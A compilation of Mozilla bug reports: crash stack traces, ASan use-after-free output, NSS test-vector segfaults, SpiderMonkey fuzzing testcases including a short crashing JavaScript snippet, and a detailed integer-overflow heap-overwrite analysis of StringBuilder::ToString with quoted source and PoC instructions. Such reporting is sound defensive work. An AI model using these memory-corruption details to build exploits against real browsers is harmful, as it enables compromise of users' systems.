#13 0x7fef1bb3cdf2 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3320
#14 0x7fef1bb1fd16 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:10
#15 0x7fef1bb54011 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:563:13
#16 0x7fef1bb55c92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:606:8
#17 0x7fef1c7436e6 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2649:10
#18 0x7fef1364a549 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8
#19 0x7fef1488c642 in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#20 0x7fef1488c642 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1039
#21 0x7fef1488ec73 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1238:17
#22 0x7fef1486f686 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:350:5
#23 0x7fef1486f686 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:346
#24 0x7fef1486d908 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:548:16
#25 0x7fef14874360 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1038:11
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/canvas/WebGLContext.cpp:2259:44 in mozilla::WebGLContext::FuncScope::FuncScope(mozilla::WebGLContext const&, char const*)
Shadow bytes around the buggy address:
0x0c368000cb70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c368000cb80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c368000cb90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c368000cba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c368000cbb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c368000cbc0: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c368000cbd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c368000cbe0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c368000cbf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c368000cc00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c368000cc10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==5201==ABORTING
|
|
1,515,342 | 13,823,053 |
Created attachment 9032424
p256_testcases.txt
Three testcases from Project Wycheproof for p256-ECDH cause segfaults in public key verification functions.
The testvector integration for p256-ECDH is not completed yet, so none of the wycheproof testvectors for p256-ECDH is runnning in CI yet.
For now, the bug(s) can be reproduced by simply adding the three testcases to the testvector header file for the Curve25519 unittest. This test can handle the testvectors for p256 without any modification.
<<<>>>
Steps to reproduce:
Checkout current version of NSS.
Add testvectors attached to this bug to gtests/common/testvectors/curve25519-vectors.h
Build NSS
run '../dist/Debug/bin/pk11_gtest --gtest_filter="*Curve25519*" '
<<<>>>
Expected Result
No test failures.
<<<>>>
Actual Result
segfault produced by each of the inserted p256 testcase(s) at line
https://searchfox.org/nss/rev/7bc70a3317b800aac07bad83e74b6c79a9ec5bff/lib/freebl/ec.c#451
|
|
1,515,375 | 13,823,346 |
[Tracking Requested - why for this release]: New crash which just surfaced in 65 but is also in nightly in small volume. We should try to figure out what the root cause may be.
This bug was filed from the Socorro interface and is
report bp-c0791583-19d8-4120-bfe5-800e70181219.
=============================================================
Seen while looking at 65 beta crash stats, present in 66 nightly as well: https://bit.ly/2LqtV1B. Windows only crash which doesn't appear to be present in previous 65 betas and doesn't affect 64. Startup crash, with almost 98% of crashes happening at startup.
Top 10 frames of crashing thread:
0 xul.dll PLDHashTable::Search xpcom/ds/PLDHashTable.cpp:497
1 xul.dll mozilla::SandboxBroker::LaunchApp security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp:238
2 xul.dll bool mozilla::ipc::GeckoChildProcessHost::PerformAsyncLaunch ipc/glue/GeckoChildProcessHost.cpp:1045
3 xul.dll bool mozilla::ipc::GeckoChildProcessHost::RunPerformAsyncLaunch ipc/glue/GeckoChildProcessHost.cpp:464
4 xul.dll nsresult mozilla::detail::RunnableMethodImpl<mozilla::ipc::GeckoChildProcessHost*, bool xpcom/threads/nsThreadUtils.h:1158
5 xul.dll bool MessageLoop::DeferOrRunPendingTask ipc/chromium/src/base/message_loop.cc:449
6 xul.dll MessageLoop::DoWork ipc/chromium/src/base/message_loop.cc:522
7 xul.dll base::MessagePumpForIO::DoRunLoop ipc/chromium/src/base/message_pump_win.cc:421
8 xul.dll base::MessagePumpWin::Run ipc/chromium/src/base/message_pump_win.h:80
9 xul.dll MessageLoop::RunHandler ipc/chromium/src/base/message_loop.cc:307
=============================================================
|
|
1,504,774 | 13,737,264 |
Followup bug for crashes in 64 beta.
+++ This bug was initially created as a clone of Bug #1453038 +++
This bug was filed from the Socorro interface and is
report bp-53ff0449-a421-4467-b2c2-5b1e70180410.
=============================================================
Windows only crash: https://bit.ly/2HqEfF4. Some user comments mention continuous crashes.
Top 10 frames of crashing thread:
0 ntdll.dll NtWaitForAlertByThreadId
1 ntdll.dll RtlSleepConditionVariableCS
2 kernelbase.dll SleepConditionVariableCS
3 mozglue.dll mozilla::detail::ConditionVariableImpl::wait mozglue/misc/ConditionVariable_windows.cpp:58
4 xul.dll mozilla::CondVar::Wait xpcom/threads/CondVar.h:68
5 xul.dll mozilla::SyncRunnable::DispatchToThread xpcom/threads/SyncRunnable.h:70
6 xul.dll mozilla::SyncRunnable::DispatchToThread xpcom/threads/SyncRunnable.h:98
7 xul.dll nsUrlClassifierDBService::Shutdown toolkit/components/url-classifier/nsUrlClassifierDBService.cpp:2539
8 xul.dll nsUrlClassifierDBService::Observe toolkit/components/url-classifier/nsUrlClassifierDBService.cpp:2480
9 xul.dll nsObserverList::NotifyObservers xpcom/ds/nsObserverList.cpp:112
=============================================================
|
|
1,505,798 | 13,744,579 |
Created attachment 9023642
Screenshot of issue
[Affected versions]:
Nightly 65.0a1
Build ID: 20181024152251
Try build: https://treeherder.mozilla.org/#/jobs?repo=try&revision=15e7c4c036a265f9258944dc4f5b867d104c5d51
[Affected platforms]:
Ubuntu 16.04 x64
[Prerequisites]:
- start the try build and set dom.storage.next_gen to "false"
[Steps to reproduce]:
1. Open ~20 sites and fully load them
2. Turn on NextGen Storage by setting the pref to "true"
3. Reload all tabs
4. Restart the browser using the same profile
5. Leave it idle like 3-5 mins or continue browsing the previously opened sites (make sure they are restored when Nightly is opened)
6. Go to about:preferences#privacy and check the size of the Cookies, site data and cache stored
*** reload all tabs several times (including about:preferences#privacy) to reproduce the issue, might take several retries ***
[Expected Result]:
The stored data should be within reasonable limits.
[Actual Result]:
Check the attached file. There will be an abnormal used storage space displayed.
Sometimes that number doubles and interestingly it will be the same number even if I open different 20 pages in a new profile and follow the same steps to reproduce the issue.
[Notes]:
This number might turn back to normal after refreshing the page or restarting, however, it may also re-appear. Restarting the browser does not help either, it can be reproduced on the same profile again afterward.
|
|
1,507,068 | 13,755,691 |
Kats, this GetAndroidDynamicToolbarAnimator crash was a regression in 62. Might any of your Android WebRender changes have introduced this crash in 62?
Over the last 12 months, there are only crash reports from Fennec 62-64 and now GV 64 in Focus Nightly. The crash volume is fairly low. There have been only 320 crashes from Fennec 62.0.x Release.
https://crash-stats.mozilla.com/search/?signature=~GetAndroidDynamicToolbarAnimator&date=%3E%3D2018-05-14T00%3A50%3A32.000Z&date=%3C2018-11-13T23%3A50%3A32.000Z&_sort=-date&_facets=signature&_facets=cpu_arch&_facets=version&_facets=platform_pretty_version&_columns=date&_columns=signature&_columns=product&_columns=version&_columns=build_id&_columns=platform#facet-version
=============================================================
This bug was filed from the Socorro interface and is
report bp-ef983ee9-bb29-4f5f-bc4a-ee91f0181113.
=============================================================
Top 10 frames of crashing thread:
0 libxul.so mozilla::layers::CompositorBridgeParent::GetAndroidDynamicToolbarAnimator mfbt/RefPtr.h:331
1 libxul.so mozilla::layers::UiCompositorControllerParent::Initialize gfx/layers/ipc/UiCompositorControllerParent.cpp:304
2 libxul.so mozilla::detail::RunnableMethodImpl<FdWatcher*, void xpcom/threads/nsThreadUtils.h:1197
3 libxul.so MessageLoop::RunTask ipc/chromium/src/base/message_loop.cc:451
4 libxul.so MessageLoop::DeferOrRunPendingTask ipc/chromium/src/base/message_loop.cc:459
5 libxul.so MessageLoop::DoWork ipc/chromium/src/base/message_loop.cc:534
6 libxul.so base::MessagePumpDefault::Run ipc/chromium/src/base/message_pump_default.cc:38
7 libxul.so MessageLoop::Run ipc/chromium/src/base/message_loop.cc:325
8 libxul.so base::Thread::ThreadMain ipc/chromium/src/base/thread.cc:198
9 libxul.so ThreadFunc ipc/chromium/src/base/platform_thread_posix.cc:40
=============================================================
|
|
1,507,157 | 13,756,509 |
Filed by: jwillcox [at] mozilla.com
https://treeherder.mozilla.org/logviewer.html#?job_id=211585330&repo=try
https://queue.taskcluster.net/v1/task/J4ju-QSIS02Vx5SqDjpQHA/runs/1/artifacts/public/logs/live_backing.log
This crashes in automation when running against TestRunnerActivity
|
|
1,511,538 | 13,791,851 |
The following testcase crashes on mozilla-central revision 58a0412e1557 (build with --enable-posix-nspr-emulation --enable-valgrind --enable-gczeal --disable-tests --disable-profiling --enable-debug --enable-optimize, run with --fuzzing-safe --ion-offthread-compile=off):
function testSingleObject() {
do {} while (!inIon());
var f2 = function() {};
do {
arguments.length;
} while (!inIon());
}
testSingleObject();
Backtrace:
received signal SIGSEGV, Segmentation fault.
#0 JS::Value::isMagic (why=JS_OPTIMIZED_ARGUMENTS, this=<optimized out>) at dist/include/js/Value.h:689
#1 js::WrappedPtrOperations<JS::Value, JS::Handle<JS::Value> >::isMagic (why=JS_OPTIMIZED_ARGUMENTS, this=0x7fffffffc530) at dist/include/js/Value.h:1303
#2 js::jit::GetPropIRGenerator::tryAttachMagicArgumentsName (this=this@entry=0x7fffffffc380, valId=valId@entry=..., id=id@entry=...) at js/src/jit/CacheIR.cpp:2071
#3 0x000055555616997b in js::jit::GetPropIRGenerator::tryAttachStub (this=this@entry=0x7fffffffc380) at js/src/jit/CacheIR.cpp:315
#4 0x0000555556043002 in js::jit::DoGetPropFallback (cx=<optimized out>, frame=0x7fffffffc608, stub=0x7ffff49241f8, val=..., res=...) at js/src/jit/BaselineIC.cpp:2867
#5 0x000017a167c1952f in ?? ()
[...]
#19 0x0000000000000000 in ?? ()
rax 0x555557b6e480 93825032184960
rbx 0x7fffffffc380 140737488339840
rcx 0x555556a75350 93825014387536
rdx 0x0 0
rsi 0x7ffff6eeb770 140737336227696
rdi 0x7ffff6eea540 140737336223040
rbp 0x7fffffffc1c0 140737488339392
rsp 0x7fffffffc1a0 140737488339360
r8 0x7ffff6eeb770 140737336227696
r9 0x7ffff7fe6cc0 140737354034368
r10 0x58 88
r11 0x7ffff6b927a0 140737332717472
r12 0x7fffffffc220 140737488339488
r13 0x0 0
r14 0x7fffffffc380 140737488339840
r15 0x1 1
rip 0x55555615a839 <js::jit::GetPropIRGenerator::tryAttachMagicArgumentsName(js::jit::ValOperandId, JS::Handle<JS::PropertyKey>)+473>
=> 0x55555615a839 <js::jit::GetPropIRGenerator::tryAttachMagicArgumentsName(js::jit::ValOperandId, JS::Handle<JS::PropertyKey>)+473>: movl $0x0,0x0
0x55555615a844 <js::jit::GetPropIRGenerator::tryAttachMagicArgumentsName(js::jit::ValOperandId, JS::Handle<JS::PropertyKey>)+484>: ud2
Not sure what is going on here, but JIT + arguments is rarely a good sign and this assertion was previously involved in s-s issues.
|
|
1,512,758 | 13,801,221 |
Created attachment 9030049
bug_1299_poc_2.htm
StringBuilder::ToString() (dom\base\nsContentUtils.cpp) can cause an integer overflow, with subsequent underallocation of an output buffer and writing beyond bounds. The bug became patent in FF 64b14 (or possibly an earlier beta of 64.0) when the object |BulkAppender appender| was added in place of directly appending to the output string |nsAString &aOut|. [1]
The bug is that the various StringBuilder::Append() functions accumulate a length into |uint32_t mLength| without checking for overflow (e.g, line 9195 below). If the document being serialized is sufficiently large, |mLength| overflows. When ToString() eventually is called, it initializes |BulkAppender appender| with the overflowed length (line 9220, below). If the document contains attribute values (e.g., <p a="......">) totalling > 4 GB, BulkAppender::Append(Span<const char16_t>) (line 9076-77, below), etc., memcpy() beyond the end of the buffer at |mHandle.Elements()|. (The assert on line 9071 is not present in release builds).
9189: void [StringBuilder::]AppendWithAttrEncode(nsAutoString* aString, uint32_t aLen)
9190: {
9191: Unit* u = AddUnit();
9192: u->mString = aString;
9193: u->mType = Unit::eStringWithEncode;
9194: u->mLength = aLen;
9195: mLength += aLen;
9196: }
9217: bool [StringBuilder::]ToString(nsAString& aOut)
9218: {
9219: nsresult rv;
9220: BulkAppender appender(aOut.BulkWrite(mLength, 0, true, rv));
9221: if (NS_FAILED(rv)) {
9222: return false;
9223: }
9224:
9225: for (StringBuilder* current = this; current; current = current->mNext) {
9226: uint32_t len = current->mUnits.Length();
9227: for (uint32_t i = 0; i < len; ++i) {
9228: Unit& u = current->mUnits[i];
9229: switch (u.mType) {
9230: case Unit::eAtom:
9231: appender.Append(*(u.mAtom));
9232: break;
9233: case Unit::eString:
9234: appender.Append(*(u.mString));
9235: break;
9236: case Unit::eStringWithEncode:
9237: EncodeAttrString(*(u.mString), appender);
9238: break;
...
9264: }
9265: }
9266: }
9267: appender.Finish();
9268: return true;
9269: }
9068: void [BulkAppender::]Append(Span<const char16_t> aStr)
9069: {
9070: size_t len = aStr.Length();
9071: MOZ_ASSERT(mPosition + len <= mHandle.Length());
9072: // Both mHandle.Elements() and aStr.Elements() are guaranteed
9073: // to be non-null (by the string implementation and by Span,
9074: // respectively), so not checking the pointers for null before
9075: // memcpy does not lead to UB even if len was zero.
9076: memcpy(
9077: mHandle.Elements() + mPosition, aStr.Elements(), len * sizeof(char16_t));
9078: mPosition += len;
9079: }
Attached is a POC that demonstrates the overwrite. Using it by starting FF 64.0b14 x64 on a machine with >= 16GB of memory, putting the POC files on a webserver, and loading bug_1299_poc_2.htm. Now attach a debugger to the FF processes and wait for FF to crash, which will take ~10 minutes. The debugger will indicate an access violation writing beyond the end of |mHandle.Elements()| with the data from the JS setAttribute() statement on POC line 14 et seq.
------
[1] The bug was latent in older versions of FF where ToString() used nsAString::SetLength() with the overflowed value, then nsAString::Append() to add the string data, since nsAString::Append() checked the output buffer length and increased it if necessary before appending the data. BulkAppender::Append(Span<const char16_t>), etc., in contrast, assume that the buffer is long enough.
|
|
1,515,411 | 13,823,690 |
Please uplift a patch to disable Return to AMO for 65 Beta and Release. Please don't land this in Nightly 66.
This is the contingency action for for bug #1513317
|
|
1,515,459 | 13,824,111 |
This bug was filed from the Socorro interface and is
report bp-33c061c7-7dad-4450-9af6-6029c0181219.
=============================================================
Top 10 frames of crashing thread:
0 xul.dll mozilla::net::TLSFilterTransaction::WriteSegments netwerk/protocol/http/TunnelUtils.cpp:374
1 xul.dll mozilla::net::nsAHttpTransaction::WriteSegmentsAgain netwerk/protocol/http/nsAHttpTransaction.h:100
2 xul.dll mozilla::net::nsHttpConnection::OnInputStreamReady netwerk/protocol/http/nsHttpConnection.cpp:2418
3 xul.dll void mozilla::net::SpdyConnectTransaction::CreateShimError netwerk/protocol/http/TunnelUtils.cpp:1216
4 xul.dll nsresult mozilla::net::SpdyConnectTransaction::WriteDataToBuffer netwerk/protocol/http/TunnelUtils.cpp:1241
5 xul.dll mozilla::net::SpdyConnectTransaction::WriteSegments netwerk/protocol/http/TunnelUtils.cpp:1272
6 xul.dll mozilla::net::Http2Stream::WriteSegments netwerk/protocol/http/Http2Stream.cpp:307
7 xul.dll mozilla::net::Http2Session::WriteSegmentsAgain netwerk/protocol/http/Http2Session.cpp:3402
8 xul.dll mozilla::net::nsHttpConnection::OnInputStreamReady netwerk/protocol/http/nsHttpConnection.cpp:2418
9 xul.dll void mozilla::net::nsSocketInputStream::OnSocketReady netwerk/base/nsSocketTransport2.cpp:277
=============================================================
these crashes are regressing cross-platform in firefox 65 and generally look sec sensitive. the first crash report was registered from nightly build 20181101220058.
|
|
1,515,816 | 13,826,433 |
The following testcase crashes on mozilla-central revision d62e952be812 (build with --enable-posix-nspr-emulation --enable-valgrind --enable-gczeal --disable-tests --disable-profiling --enable-debug --without-intl-api --enable-optimize --target=i686-pc-linux-gnu, run with --fuzzing-safe --cpu-count=2 --ion-offthread-compile=off):
See attachment.
Backtrace:
received signal SIGSEGV, Segmentation fault.
#0 0x567da915 in JSObject::hasLazyGroup (this=0x0) at js/src/vm/JSObject.h:164
#1 JSObject::group (this=0x0) at js/src/vm/JSObject.h:146
#2 0x56b3f4db in js::NativeObject::createWithTemplate (templateObject=..., heap=js::gc::DefaultHeap, cx=0xf6e2e800) at js/src/vm/NativeObject-inl.h:560
#3 ReadableStreamCreateReadResult (cx=<optimized out>, value=..., done=true, forAuthorCode=js::ForAuthorCodeBool::Yes) at js/src/builtin/Stream.cpp:1538
#4 0x56b3fb12 in ReadableStreamCloseInternal (cx=<optimized out>, unwrappedStream=...) at js/src/builtin/Stream.cpp:1482
#5 0x56b407f1 in ReadableStreamCancel (cx=<optimized out>, unwrappedStream=..., reason=...) at js/src/builtin/Stream.cpp:1409
#6 0x56b4241b in ReadableStreamReaderGenericCancel (reason=..., unwrappedReader=..., cx=<optimized out>) at js/src/builtin/Stream.cpp:2001
#7 ReadableStreamDefaultReader_cancel (cx=<optimized out>, argc=0, vp=0xf639d830) at js/src/builtin/Stream.cpp:1876
#8 0x567e3c60 in CallJSNative (cx=0xf6e2e800, native=0x56b422d0 <ReadableStreamDefaultReader_cancel(JSContext*, unsigned int, JS::Value*)>, args=...) at js/src/vm/Interpreter.cpp:443
#9 0x567d632d in js::InternalCallOrConstruct (cx=<optimized out>, args=..., construct=js::NO_CONSTRUCT) at js/src/vm/Interpreter.cpp:535
#10 0x567d6990 in InternalCall (cx=cx@entry=0xf6e2e800, args=...) at js/src/vm/Interpreter.cpp:590
#11 0x567d6b4a in js::Call (cx=0xf6e2e800, fval=..., thisv=..., args=..., rval=...) at js/src/vm/Interpreter.cpp:606
#12 0x569d248e in js::fun_call (cx=0xf6e2e800, argc=1, vp=0xf639dce8) at js/src/vm/JSFunction.cpp:1192
#13 0x567e3c60 in CallJSNative (cx=0xf6e2e800, native=0x569d21c0 <js::fun_call(JSContext*, unsigned int, JS::Value*)>, args=...) at js/src/vm/Interpreter.cpp:443
#14 0x567d632d in js::InternalCallOrConstruct (cx=<optimized out>, args=..., construct=js::NO_CONSTRUCT) at js/src/vm/Interpreter.cpp:535
#15 0x567d6990 in InternalCall (cx=cx@entry=0xf6e2e800, args=...) at js/src/vm/Interpreter.cpp:590
#16 0x567d6b0f in js::CallFromStack (cx=0xf6e2e800, args=...) at js/src/vm/Interpreter.cpp:594
#17 0x56f174c5 in js::jit::DoCallFallback (cx=<optimized out>, frame=0xf639dd28, stub=0xf6757b80, argc=1, vp=0xf639dce8, res=...) at js/src/jit/BaselineIC.cpp:3909
#18 0x35cb93fa in ?? ()
#19 0xf6757b80 in ?? ()
#20 0x35ccb66b in ?? ()
#21 0x35caeb7c in ?? ()
#22 0x5713ac4a in EnterJit (cx=<optimized out>, cx@entry=0xf6e2e800, state=..., code=0x35ccabe0 "\351\033") at js/src/jit/Jit.cpp:105
#23 0x5713b651 in js::jit::MaybeEnterJit (cx=0xf6e2e800, state=...) at js/src/jit/Jit.cpp:168
#24 0x567d5ac8 in js::RunScript (cx=<optimized out>, state=...) at js/src/vm/Interpreter.cpp:408
#25 0x567d659e in js::InternalCallOrConstruct (cx=<optimized out>, args=..., construct=js::NO_CONSTRUCT) at js/src/vm/Interpreter.cpp:563
#26 0x567d6990 in InternalCall (cx=cx@entry=0xf6e2e800, args=...) at js/src/vm/Interpreter.cpp:590
#27 0x567d6b4a in js::Call (cx=0xf6e2e800, fval=..., thisv=..., args=..., rval=...) at js/src/vm/Interpreter.cpp:606
#28 0x56ad63c5 in js::CallSelfHostedFunction (cx=0xf6e2e800, name=..., thisv=..., args=..., rval=...) at js/src/vm/SelfHosting.cpp:1854
#29 0x5689e16b in AsyncFunctionResume (cx=<optimized out>, cx@entry=0xf6e2e800, resultPromise=resultPromise@entry=..., generatorVal=..., generatorVal@entry=..., kind=ResumeKind::Normal, valueOrReason=...) at js/src/vm/AsyncFunction.cpp:202
#30 0x568a2107 in AsyncFunctionStart (generatorVal=..., resultPromise=..., cx=0xf6e2e800) at js/src/vm/AsyncFunction.cpp:218
#31 WrappedAsyncFunction (cx=0xf6e2e800, argc=0, vp=0xf639e5a8) at js/src/vm/AsyncFunction.cpp:94
#32 0x35cbde08 in ?? ()
#33 0xf6756220 in ?? ()
#34 0x35ccb66b in ?? ()
#35 0x35caeb7c in ?? ()
[...] (Entering/Leaving JIT repeatedly)
#106 0x5713ac4a in EnterJit (cx=<optimized out>, cx@entry=0xf6e2e800, state=..., code=0x35ccabe0 "\351\033") at js/src/jit/Jit.cpp:105
#107 0x5713b651 in js::jit::MaybeEnterJit (cx=0xf6e2e800, state=...) at js/src/jit/Jit.cpp:168
#108 0x567d5ac8 in js::RunScript (cx=<optimized out>, state=...) at js/src/vm/Interpreter.cpp:408
#109 0x567d659e in js::InternalCallOrConstruct (cx=<optimized out>, args=..., construct=js::NO_CONSTRUCT) at js/src/vm/Interpreter.cpp:563
#110 0x567d6990 in InternalCall (cx=cx@entry=0xf6e2e800, args=...) at js/src/vm/Interpreter.cpp:590
#111 0x567d6b4a in js::Call (cx=0xf6e2e800, fval=..., thisv=..., args=..., rval=...) at js/src/vm/Interpreter.cpp:606
#112 0x56ad63c5 in js::CallSelfHostedFunction (cx=0xf6e2e800, name=..., thisv=..., args=..., rval=...) at js/src/vm/SelfHosting.cpp:1854
#113 0x5689e16b in AsyncFunctionResume (cx=<optimized out>, cx@entry=0xf6e2e800, resultPromise=resultPromise@entry=..., generatorVal=..., generatorVal@entry=..., kind=ResumeKind::Normal, valueOrReason=...) at js/src/vm/AsyncFunction.cpp:202
#114 0x568a2107 in AsyncFunctionStart (generatorVal=..., resultPromise=..., cx=0xf6e2e800) at js/src/vm/AsyncFunction.cpp:218
#115 WrappedAsyncFunction (cx=0xf6e2e800, argc=0, vp=0xf63a1a58) at js/src/vm/AsyncFunction.cpp:94
#116 0x35cbde08 in ?? ()
#117 0xf6756220 in ?? ()
#118 0x35ccb66b in ?? ()
#119 0x35caeb7c in ?? ()
#120 0x5713ac4a in EnterJit (cx=<optimized out>, cx@entry=0xf6e2e800, state=..., code=0x35ccabe0 "\351\033") at js/src/jit/Jit.cpp:105
#121 0x5713b651 in js::jit::MaybeEnterJit (cx=0xf6e2e800, state=...) at js/src/jit/Jit.cpp:168
#122 0x567d5ac8 in js::RunScript (cx=<optimized out>, state=...) at js/src/vm/Interpreter.cpp:408
#123 0x567d659e in js::InternalCallOrConstruct (cx=<optimized out>, args=..., construct=js::NO_CONSTRUCT) at js/src/vm/Interpreter.cpp:563
#124 0x567d6990 in InternalCall (cx=cx@entry=0xf6e2e800, args=...) at js/src/vm/Interpreter.cpp:590
#125 0x567d6b4a in js::Call (cx=0xf6e2e800, fval=..., thisv=..., args=..., rval=...) at js/src/vm/Interpreter.cpp:606
#126 0x56ad63c5 in js::CallSelfHostedFunction (cx=0xf6e2e800, name=..., thisv=..., args=..., rval=...) at js/src/vm/SelfHosting.cpp:1854
#127 0x5689e16b in AsyncFunctionResume (cx=<optimized out>, resultPromise=..., generatorVal=..., kind=ResumeKind::Normal, valueOrReason=...) at js/src/vm/AsyncFunction.cpp:202
eax 0x0 0
ebx 0x57c1cff4 1472319476
ecx 0xf639d308 -163982584
edx 0xf639d3cc -163982388
esi 0x57c1cff4 1472319476
edi 0xf639d320 -163982560
ebp 0xf639d2c8 4130984648
esp 0xf639d2c0 4130984640
eip 0x567da915 <JSObject::group() const+21>
=> 0x567da915 <JSObject::group() const+21>: mov (%eax),%eax
0x567da917 <JSObject::group() const+23>: mov 0xc(%eax),%edx
This crash seems very sensitive, making it hard to reduce the testcase further. It should reproduce reliably though on a 32-bit linux debug build. Marking s-s because of that, until investigated.
Given the stack, it could be some sort of stack space exhaustion causing an early return somewhere.
|
|
1,516,325 | 13,831,040 |
This bug was filed from the Socorro interface and is
report bp-34eff7ed-2371-4fa9-bba2-9e3c20181225.
=============================================================
Top 2 frames of crashing thread:
0 libnss3.dylib poll nsprpub/pr/src/md/unix/unix.c:3780
1 libmozglue.dylib arena_t::DallocSmall memory/build/mozjemalloc.cpp:3444
=============================================================
|
|
1,516,333 | 13,831,100 |
This bug was filed from the Socorro interface and is
report bp-6f50b8ea-32ee-4dc5-9d60-4b4f20181224.
=============================================================
Top 10 frames of crashing thread:
0 XUL mozilla::dom::quota::QuotaObject::LockedMaybeUpdateSize dom/quota/ActorsParent.cpp:2602
1 XUL mozilla::dom:: dom/quota/ActorsParent.cpp:2561
2 XUL mozilla::dom::PBackgroundLSDatabaseParent::OnMessageReceived ipc/ipdl/PBackgroundLSDatabaseParent.cpp:269
3 XUL mozilla::ipc::MessageChannel::DispatchMessage ipc/glue/MessageChannel.cpp:2129
4 XUL mozilla::ipc::MessageChannel::MessageTask::Run ipc/glue/MessageChannel.cpp:1935
5 XUL nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1157
6 XUL NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:468
7 XUL mozilla::ipc::MessagePumpForNonMainThreads::Run ipc/glue/MessagePump.cpp:303
8 XUL nsThread::ThreadFunc ipc/chromium/src/base/message_loop.cc:314
9 libnss3.dylib _pt_root nsprpub/pr/src/pthreads/ptthread.c:201
=============================================================
these crashes are increasing on nightly cross-platform after the next gen localstorage pref got enabled.
|
|
1,516,425 | 13,831,510 |
This bug was filed from the Socorro interface and is
report bp-fd6e33b9-bd7e-4df3-8073-e02640181226.
=============================================================
Top 10 frames of crashing thread:
0 xul.dll static struct already_AddRefed<mozilla::layers::LayerManager> mozilla::layout::GetLayerManager layout/ipc/RenderFrame.cpp:33
1 xul.dll mozilla::layout::RenderFrame::AttachLayerManager layout/ipc/RenderFrame.cpp:106
2 xul.dll mozilla::layout::RenderFrame::OwnerContentChanged layout/ipc/RenderFrame.cpp:124
3 xul.dll void nsFrameLoader::SetOwnerContent dom/base/nsFrameLoader.cpp:1748
4 xul.dll nsFrameLoader::StartDestroy dom/base/nsFrameLoader.cpp:1582
5 xul.dll mozilla::dom::XULFrameElement::DestroyContent dom/xul/XULFrameElement.cpp:158
6 xul.dll mozilla::dom::FragmentOrElement::DestroyContent dom/base/FragmentOrElement.cpp:1217
7 xul.dll nsDocument::Destroy dom/base/nsDocument.cpp:7608
8 xul.dll nsDocumentViewer::Destroy layout/base/nsDocumentViewer.cpp:1804
9 xul.dll nsDocShell::Destroy docshell/base/nsDocShell.cpp:5046
=============================================================
this crash signature is increasing during the 65.0b cycle - it's mostly hitting 32bit builds on windows and looking security sensitive...
|
|
1,516,738 | 13,833,895 |
The following testcase crashes on mozilla-beta revision 0e5689df129b (build with --32 --enable-debug --enable-more-deterministic, run with --fuzzing-safe --no-baseline --
no-ion --test-wasm-await-tier2 w212-out.wrapper w212-out.wasm):
See attachment.
Backtrace:
#0 js::jit::X86Encoding::GPReg8Name (reg=js::jit::X86Encoding::rsi) at js/src/jit/x86-shared/Constants-x86-shared.h:194
#1 js::jit::X86Encoding::BaseAssembler::movsbl_rr (dst=js::jit::X86Encoding::rsi, src=<optimized out>, this=0xf6302228) at js/src/jit/x86-shared/BaseAssembler-x86-shared.h:2314
